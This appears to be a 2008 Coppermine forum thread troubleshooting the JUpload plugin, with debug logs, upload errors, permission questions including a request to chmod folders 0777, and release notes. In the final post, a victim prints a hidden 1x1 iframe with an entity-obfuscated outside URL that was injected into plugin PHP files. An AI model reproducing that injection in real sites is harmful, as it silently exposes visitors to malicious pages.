15:55:13.953 [DEBUG] Creation of the DefaultFileData for C:\Documents and Settings\jpth\Bureau\Encouragements Laurie 1er semestre2008.jpg(root: C:\Documents and Settings\jpth\Bureau)
15:55:13.953 [DEBUG] isPicture=true (Encouragements Laurie 1er semestre2008.jpg), extension=jpg
15:55:13.953 [DEBUG] Shutting down all IconWorker running jobs
15:55:13.953 [DEBUG] All IconWorker running jobs are now marked as stopped.
15:55:14.015 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:20.500 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId =>
15:55:20.500 [WARN] Invalid int value: , using default value: 0
15:55:20.500 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.pitchouloulou.fr/index.php?file=jupload/jupload&action=upload_picture&album=0
15:55:20.546 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:22.125 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId => 43
15:55:22.125 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.pitchouloulou.fr/index.php?file=jupload/jupload&action=upload_picture&album=43
15:55:23.296 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:35.328 [DEBUG] File selected: Encouragements Laurie 1er semestre2008.jpg
15:55:35.328 [DEBUG] PicturePanel.calculateOffscreenImage(): trying to calculate offscreenImage (PicturePanel.calculateOffscreenImage()
15:55:35.328 [DEBUG] [getWorkingSourceFile] Creating a copy of Encouragements Laurie 1er semestre2008.jpg as a source working target.
15:55:35.343 [DEBUG] Using working copy temp file C:\DOCUME~1\jpth\LOCALS~1\Temp\jupload_13439.tmp.jpg for Encouragements Laurie 1er semestre2008.jpg
15:55:35.375 [DEBUG] Foud one reader for jpg extension
15:55:35.593 [DEBUG] Nb images in Encouragements Laurie 1er semestre2008.jpg: 1
15:55:35.593 [DEBUG] ImageReaderWriterHelper: reading picture number 0 of file Encouragements Laurie 1er semestre2008.jpg
15:55:36.234 [DEBUG] Resizing factor (scale): 0.0665807560137457
15:55:36.234 [DEBUG] getBufferedImage: start
15:55:36.234 [DEBUG] getBufferedImage: Resizing picture(using standard quality picture)
15:55:36.234 [DEBUG] getBufferedImage: Picture is now rescaled
15:55:36.234 [DEBUG] getBufferedImage: returnedBufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@8210fc transparency = 1 has alpha = false isAlphaPre = false
15:55:36.234 [DEBUG] getBufferedImage: returnedBufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@8210fc transparency = 1 has alpha = false isAlphaPre = false
15:55:36.234 [DEBUG] getBufferedImage: BufferedImage@232697: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@8210fc transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 224 height = 155 #numDataElements 3 dataOff[0] = 2
15:55:36.234 [DEBUG] getBufferedImage: MinX=0
15:55:36.234 [DEBUG] getBufferedImage: MinY=0
15:55:36.234 [DEBUG] getBufferedImage: was 0 ms long
15:55:36.359 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 60438648
15:55:36.453 [DEBUG] freeMemory (after end of wjhk.jupload2.filedata.PictureFileData.getImage()) : 83848864
15:55:40.671 [DEBUG] Action : Envoyer
15:55:40.671 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
15:55:40.687 [DEBUG] Resizing factor (scale): 0.9164677804295943
15:55:40.687 [DEBUG] Using transformed temp file C:\DOCUME~1\jpth\LOCALS~1\Temp\jupload_13440.tmp for Encouragements Laurie 1er semestre2008.jpg
15:55:40.687 [DEBUG] ImageWriter1 (used), CompressionQuality=0.8
15:55:40.687 [DEBUG] Reading image with imageWriterHelper.readImage(i)
15:55:40.687 [DEBUG] Foud one reader for jpg extension
15:55:40.750 [DEBUG] Timer started
15:55:41.015 [DEBUG] Nb images in Encouragements Laurie 1er semestre2008.jpg: 1
15:55:41.015 [DEBUG] ImageReaderWriterHelper: reading picture number 0 of file Encouragements Laurie 1er semestre2008.jpg
15:55:41.140 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:55:41.765 [DEBUG] getBufferedImage: start
15:55:41.765 [DEBUG] getBufferedImage: Resizing picture(using high quality picture)
15:55:41.781 [DEBUG] getBufferedImage: Before drawImage
15:55:41.796 [DEBUG]   imageUpdate (start of), progressBar geValue: 0
15:55:41.796 [DEBUG]   imageUpdate (start of), progressBar maximum: 100
15:55:48.078 [DEBUG] getBufferedImage: After drawImage
15:55:48.187 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 40519920
15:55:48.187 [DEBUG] getBufferedImage: Picture is now rescaled
15:55:48.187 [DEBUG] getBufferedImage: BufferedImage@4c94e5: type = 5 ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@8210fc transparency = 1 has alpha = false isAlphaPre = false ByteInterleavedRaster: width = 3072 height = 2133 #numDataElements 3 dataOff[0] = 2
15:55:48.187 [DEBUG] getBufferedImage: MinX=0
15:55:48.187 [DEBUG] getBufferedImage: MinY=0
15:55:48.187 [DEBUG] getBufferedImage: was 6422 ms long
15:55:48.281 [DEBUG] freeMemory (after ImageHelper.getBufferedImage()) : 40516832
15:55:49.000 [DEBUG] file 0: content=553428 bytes, getAdditionnalBytesForUpload=1628 bytes
15:55:49.000 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
15:55:49.000 [DEBUG] Cookie: 9e6aba2fd606ef22a08b8eade97f267e=fe92ae4e2e9dc5f596aea4bbb719db29; coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiJlZTg2YjkyNmM2YmIzMWM2ZDg2N2Q5ODcyYjU1Njk1MSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO30%3D
15:55:49.000 [DEBUG] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)
15:55:49.000 [DEBUG] Using non SSL socket, direct connection
15:55:49.062 [DEBUG] === main header (len=1142):
15:55:49.062 [DEBUG] POST /index.php?file=jupload/jupload&action=upload_picture&album=43 HTTP/1.1\r\n
15:55:49.062 [DEBUG] Host: www.pitchouloulou.fr\r\n
15:55:49.062 [DEBUG] Accept: */*\r\n
15:55:49.062 [DEBUG] Accept-Encoding: identity\r\n
15:55:49.062 [DEBUG] Connection: close\r\n
15:55:49.062 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Length: 555561\r\n
15:55:49.062 [DEBUG] Cookie: 9e6aba2fd606ef22a08b8eade97f267e=fe92ae4e2e9dc5f596aea4bbb719db29; coppermine_data=YTozOntzOjI6IklEIjtzOjMyOiJlZTg2YjkyNmM2YmIzMWM2ZDg2N2Q5ODcyYjU1Njk1MSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO30%3D\r\n
15:55:49.062 [DEBUG] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="file"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] jupload/jupload\r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="album"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] 43\r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="action"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] upload_picture\r\n
15:55:49.062 [DEBUG] === main header end
15:55:49.062 [DEBUG] --- fileheader start (len=1389):
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="title"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="caption"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="keywords"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="mimetype[]"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] image/jpeg\r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="pathinfo[]"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] C:\Documents and Settings\jpth\Bureau\r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="relpathinfo[]"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="filemodificationdate[]"\r\n
15:55:49.062 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:55:49.062 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] 22/03/2008 18:13:18\r\n
15:55:49.062 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:55:49.062 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="Encouragements Laurie 1er semestre2008.jpg"\r\n
15:55:49.062 [DEBUG] Content-Type: image/jpeg\r\n
15:55:49.062 [DEBUG] \r\n
15:55:49.062 [DEBUG] --- fileheader end
15:55:49.078 [DEBUG] in UploadFileData.uploadFile (amount:553428, getUploadLength(): 553428)
15:56:04.859 [DEBUG] --- filetail start (len=239):
15:56:04.859 [DEBUG] \r\n
15:56:04.859 [DEBUG] -----------------------------xf8pr982mk6\r\n
15:56:04.859 [DEBUG] Content-Disposition: form-data; name="md5sum[]"\r\n
15:56:04.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
15:56:04.859 [DEBUG] Content-Type: text/plain; UTF-8\r\n
15:56:04.859 [DEBUG] \r\n
15:56:04.859 [DEBUG] bdb3a04e526da6f38d1ecc2c24bd559a\r\n
15:56:04.859 [DEBUG] -----------------------------xf8pr982mk6--\r\n
15:56:04.859 [DEBUG] --- filetail end
15:56:05.359 [DEBUG] -------- Response Headers Start --------
15:56:05.359 [DEBUG] HTTP/1.1 404 Not Found
15:56:05.359 [DEBUG] Date: Sun, 23 Mar 2008 14:55:54 GMT
15:56:05.359 [DEBUG] Server: Apache
15:56:05.359 [DEBUG] Content-Length: 277
15:56:05.359 [DEBUG] Connection: close
15:56:05.359 [DEBUG] Content-Type: text/html; charset=iso-8859-1
15:56:05.359 [DEBUG]
15:56:05.359 [DEBUG] --------- Response Headers End ---------
15:56:05.375 [DEBUG] HTTP status: 404 Not Found
15:56:05.375 [DEBUG] -------- Response Body Start --------
15:56:05.375 [DEBUG] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n
15:56:05.375 [DEBUG] <html><head>\n
15:56:05.375 [DEBUG] <title>404 Not Found</title>\n
15:56:05.375 [DEBUG] </head><body>\n
15:56:05.375 [DEBUG] <h1>Not Found</h1>\n
15:56:05.375 [DEBUG] <p>The requested URL /index.php was not found on this server.</p>\n
15:56:05.375 [DEBUG] <hr>\n
15:56:05.375 [DEBUG] <address>Apache Server at www.pitchouloulou.fr Port 80</address>\n
15:56:05.375 [DEBUG] </body></html>\n
15:56:05.375 [DEBUG] --------- Response Body End ---------
15:56:09.125 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 404 Not Found (Received HTTP status 404 Not Found)
15:56:09.125 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 404 Not Found
15:56:09.125 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:563)
15:56:09.125 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
15:56:09.125 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
15:56:09.140 [DEBUG] FileUploadThread: within run().finally
15:56:09.140 [WARN] Temporary file not deleted
15:56:09.187 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:56:12.062 [DEBUG] PicturePanel.paint(): offscreenImage is null
15:56:12.156 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
15:56:12.156 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Is anybody encounter this problem before ?
Thank in advance

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Nibbler on March 23, 2008, 04:28:16 pm
Make sure you set the url properly. http://www.pitchouloulou.fr/index.php is 404.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: vikingfr on March 23, 2008, 04:42:02 pm
I modified apache configuration ; it work ;)

Thank you Nibbler (and Etienne), it's great, it rocks !!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: pakko on March 23, 2008, 06:03:04 pm

many thanks etienne, works great!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wolle1969 on March 26, 2008, 08:14:31 am
I use:
Coppermine 1.4.16 (standalone) with JUpload 3.0.2
My server works in safemode "ON".
Internet Explorer 7.05
Firefox 2.0.0.12

When I will upload some pictures I get an error (see the txt-file below).

JUpload creats an new folder under albums/userpics named "1". The chmod of this folder ist 755. When I change the chmod in 777 with an ftp-program and then retry the upload, JUpload works very good.

Can I put a little script in one of your scripts (for example "<?php chmod ("albums/userpics/", 0777); ?>" in "j_picmgmt.inc.php")

I was logged in as admin, upload works with http and xp-publish.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 26, 2008, 10:59:28 pm
I use:
Coppermine 1.4.16 (standalone) with JUpload 3.0.2
My server works in safemode "ON".
Internet Explorer 7.05
Firefox 2.0.0.12

When I will upload some pictures I get an error (see the txt-file below).

JUpload creats an new folder under albums/userpics named "1". The chmod of this folder ist 755. When I change the chmod in 777 with an ftp-program and then retry the upload, JUpload works very good.

Can I put a little script in one of your scripts (for example "<?php chmod ("albums/userpics/", 0777); ?>" in "j_picmgmt.inc.php")

I was logged in as admin, upload works with http and xp-publish.

Hum, hum,

In the plugins/jupload/include/j_picmgmt.inc.php, line 671 (last version), there is:
                  @chmod($dest_dir_jupload, octdec($CONFIG['default_dir_mode'])); //silence the output in case chmod is disabled

You should first check you default_dir_mode, see the main config page, and look at the section 'Files and thumbnails advanced settings'

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: lowkey on March 27, 2008, 04:28:16 am
I really like this plugin a lot.  However, I am having one minor issue.  If a user uploads an MP3, which contains no visual data, the formatting gets weird.  On loading up the page for the mp3, the player displays as if there is video with it.  This didn't happen with the internal Coppermine upload function.  Rather, all that would show up is the transport.  Does anyone know a fix for this?

For a demo of the issue: http://forum.septiknexus.com/media/displayimage.php?album=6&pos=0

The above was uploaded with the lastest version of the jupload plugin as of this date.  All other MP3s on the site were uploaded via the Coppermine internal upload function.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wolle1969 on March 27, 2008, 07:26:23 am
Hello Etienne,

thank you for your fast answer and this very good plugin.

In main config of my coppermine is the default_dir_mode 0777 an the default_file_mode 0666.

I have change the line 671 to:
                  @chmod($dest_dir_jupload, 0777); //silence the output in case chmod is disabled

I have create a new album with coppermine and start the upload with jupload in this album. JUpload creats a new directory unter albums/userpics but it is still at chmod 755. There is only one picture in the new album, then I get an error as before.

When I change the chmod with my ftp-program, I also can't change the chmod even coppermine and jupload is running. So I have to delete the new directory and create an new one witch I give the same name as the deleted. After that I change the chmod to 777. (Why there is a new directory? This directory is allways emty!)

Is it possible to do the same with the j_picmgmt.inc.php?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wolle1969 on March 27, 2008, 12:12:24 pm
You'll find the error-messages witch I get in the pdf-file
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 27, 2008, 10:45:34 pm
You'll find the error-messages witch I get in the pdf-file

Impressive, a debug file in PDF !
 :o

Ok, I'll look at that. Seems like I should check more things before accepting this directory as a target for pictures.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: formulx on March 27, 2008, 11:10:29 pm
Great mod, my users love it. However I am having one issue. Im using watermarks and it seems that using this plugin is allowing users to bypass the ability to watermark the images on upload is there any fix for that?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 28, 2008, 11:45:40 pm
Great mod, my users love it. However I am having one issue. Im using watermarks and it seems that using this plugin is allowing users to bypass the ability to watermark the images on upload is there any fix for that?

Hi,

  I already had discussion, and I never was able to figure it out. Are you talking about Stramm's modpack ?

Etienne
Title: JUpload release 3.0.3
Post by: etienne_sf on March 28, 2008, 11:54:43 pm
Hi,

  Here is the announce for the 3.0.3 Release.

The release is available here :
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11148 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11148)
and on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Release notes for 3.0.3:

Fix:
- [Minor] Better control of directory creation as upload target. Could block upload on some configuration (see wolle1969 problem)

Changes:
- [Minor] When dropping several files that should be refused (by the allowedFileExtensions parameter or by the upload policy) the applet now displays a message each time (was only once if the file had allowed extension but was not an image), and allows the user to hit 'cancel', so that no more file are added for this drop.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wolle1969 on March 29, 2008, 07:43:31 am
I'm so sorry etienne,

but it still dosn't work. The new directory (I'm now at number 18 under the userpics-directory) is still at chmod 755. There is only 1 picture in the new gallery (same as before).

I get the same error-messages.

I don't believe it is the safemode ON-Problem, because jupload is able to create a new album and send 1 picture.

Please have a look at your pm-box. (I have activate the laguage select otion for you in my gallery)


Under userpics are many pictures (not in another direcory). I think this are the pictures I've been uploaded with xp-publish. xp-publish don't create any directorys. Is it possible to load all pictures with jupload in only one directory witch I can set at chmod 777 once?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: donsenilo on March 29, 2008, 11:39:20 am
Hello

I have the same problem  :(

Only 1 file uploaded, then get the error "... wjhk.jupload2.exception.JUploadExceptionUploadFailed] Die vorhergehende Datei konnte nicht gesetzt werden. 3 (file_placement: no2) ....".

but to say something positive: upload works fine with big file. could upload a wmv-file (6 MB). makes me happy  :)

Great Mod, but - sorry to say that - for uploading more then 1 file it's useless. I realy hope this can be fixed ...

Greets from Vienna
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 29, 2008, 02:53:10 pm
Hello

I have the same problem  :(

Only 1 file uploaded, then get the error "... wjhk.jupload2.exception.JUploadExceptionUploadFailed] Die vorhergehende Datei konnte nicht gesetzt werden. 3 (file_placement: no2) ....".

but to say something positive: upload works fine with big file. could upload a wmv-file (6 MB). makes me happy  :)

Great Mod, but - sorry to say that - for uploading more then 1 file it's useless. I realy hope this can be fixed ...

Greets from Vienna

Yes, correcting things without a relevant test platform can be complex ...  :-)

Please try the last update on my wiki, or on this link:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11155


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wolle1969 on March 30, 2008, 09:05:36 am
Yeaaaahhhhhh it works!!!


Thank you very much, the 3.0.3c is working on my server as it should!!!!

Here it is: http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb


Great work etienne, thank you!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: donsenilo on March 30, 2008, 10:25:16 am
Hello

Tested it with 100 Pics at once and .... it works perfectly !!!!!  :)

Big thanks !
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 30, 2008, 03:19:53 pm
Hi,

  Here is the announce for the 3.0.3c Release.


The release is available here :
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11161 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11161)
and on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Release notes for 3.0.3c:

Fix:
- [Minor, can be blocking for some configurations] Better control of directory write access, to define where uploaded picture must be copied (see wolle1969 problem). It was not properly corrected in 3.0.3 and 3.0.3b releases.


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: formulx on March 30, 2008, 09:22:16 pm
Im having a small issue. No one is able to upload using Jupload. This error just appeared recently (even before I uploaded to the newest version). The problem is when uploading I get a 503 Service Temporarily Unavailable message popup, then when it asks to send a log to the admin even when clicking yes i get an error saying it wont send. Here is the log:

15:18:40.361 [INFO] Debug level set to 0
15:18:40.369 [INFO] Current debug output file: C:\Users\ASHISH~1\AppData\Local\Temp\jupload_60300_log.txt
15:18:41.744 [WARN] Invalid int value: false, using default value: 0
15:19:13.426 [INFO] Debug level set to 1
15:19:13.426 [INFO] Current debug output file: C:\Users\ASHISH~1\AppData\Local\Temp\jupload_60300_log.txt
15:19:27.235 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 503 Service Temporarily Unavailable (Received HTTP status 503 Service Temporarily Unavailable)
15:19:27.237 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 503 Service Temporarily Unavailable
15:19:27.237    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:563)
15:19:27.237    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:739)
15:19:27.237    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
15:19:32.749 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Upload failed: unexpected HTTP response (An error occured during log management (sbHttpResponseBody))
15:19:32.750 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
15:19:32.750    at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1095)
15:19:32.750    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
15:19:33.798 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
15:19:33.799 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
15:19:33.799    at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
15:19:33.799    at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1127)
15:19:33.799    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
15:19:33.817 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 02, 2008, 09:14:41 pm
Im having a small issue. No one is able to upload using Jupload. This error just appeared recently (even before I uploaded to the newest version). The problem is when uploading I get a 503 Service Temporarily Unavailable message popup, then when it asks to send a log to the admin even when clicking yes i get an error saying it wont send. Here is the log:

15:19:27.235 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 503 Service Temporarily Unavailable (Received HTTP status 503 Service Temporarily Unavailable)


I guess your server was temporarily down. It should be corrected now, right ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: omern on April 07, 2008, 03:29:28 pm
I have the same problem while trying to upload files - how to fix it?
website is working... while trying to upload I get this message..

16:16:55.765 [INFO] Debug level set to 0
16:16:55.780 [INFO] Current debug output file: C:\DOCUME~1\Omer\LOCALS~1\Temp\jupload_39201_log.txt
16:16:55.827 [WARN] Invalid int value: true, using default value: 0
16:16:55.858 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
16:16:55.874 [INFO] maxFileSize: 2048000
16:16:57.905 [WARN] Invalid int value: , using default value: 0
16:16:57.952 [INFO] JUpload plugin for coppermine version 3.0.3c
16:29:00.390 [INFO] Debug level set to 1
16:29:00.390 [INFO] Current debug output file: C:\DOCUME~1\Omer\LOCALS~1\Temp\jupload_39201_log.txt
16:29:00.405 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
16:29:00.421 [DEBUG] debugLevel: 1 (debugfile: C:\DOCUME~1\Omer\LOCALS~1\Temp\jupload_39201_log.txt)
16:29:00.421 [INFO] maxFileSize: 2048000
16:29:37.890 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 404 Not Found (Received HTTP status 404 Not Found)
16:29:37.890 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 404 Not Found
16:29:37.890    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:565)
16:29:37.890    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
16:29:37.890    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)


how should i fix it?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: omern on April 07, 2008, 09:23:23 pm
issue fixed. nevermind.
Thanks anyway
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 07, 2008, 10:38:26 pm
issue fixed. nevermind.
Thanks anyway

You're welcome

:-)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: genti555 on April 09, 2008, 11:14:17 pm
my site has been hacked by jupload-2.6.4 i do not know how but it has injected an iframe at the end code of codebase.php in /plugins/jupload/codebase.php

it says Parse error: syntax error, unexpected '<' in ........../fotopermsn/plugins/jupload/codebase.php on line 158


this is the ending code of this file:


          return jupload_cpg_die(ERROR, "internal error while reading the extension, for file '${CURRENT_PIC_DATA['filename']}'", __FILE__, __LINE__);

       }

      $CURRENT_PIC_DATA['title'] = str_replace("_", " ", rawurldecode($fmatches[1]));

   }



   return $CURRENT_PIC_DATA;

}



<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>



i do not know where they have entered from.
can anybody help ??? ???


this is my site:  http://fotopermsn.zbavitje.com/
i know that by replacing this file i can fix this but it can happen again and i would like to know how this happened.


EDIT:
i saw that it has hacked also the file jupload.inc.php  and config.inc.php

this is the ending code of this file jupload.inc.php.

$JUPLOAD_CONFIG['version']='2.6.4';

      <?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


and the ending code for config.inc.php


            cpg_db_query("INSERT INTO {$CONFIG['TABLE_CONFIG']} (name, value) VALUES ('$parameterPrefix$paramName', '"

               . str_replace('\'', '\\\'', $paramsToStore[$paramName])

               . "')"

               );

         }

      }

   }//saveJuploadConfigParamInCoppermineDatabase

   

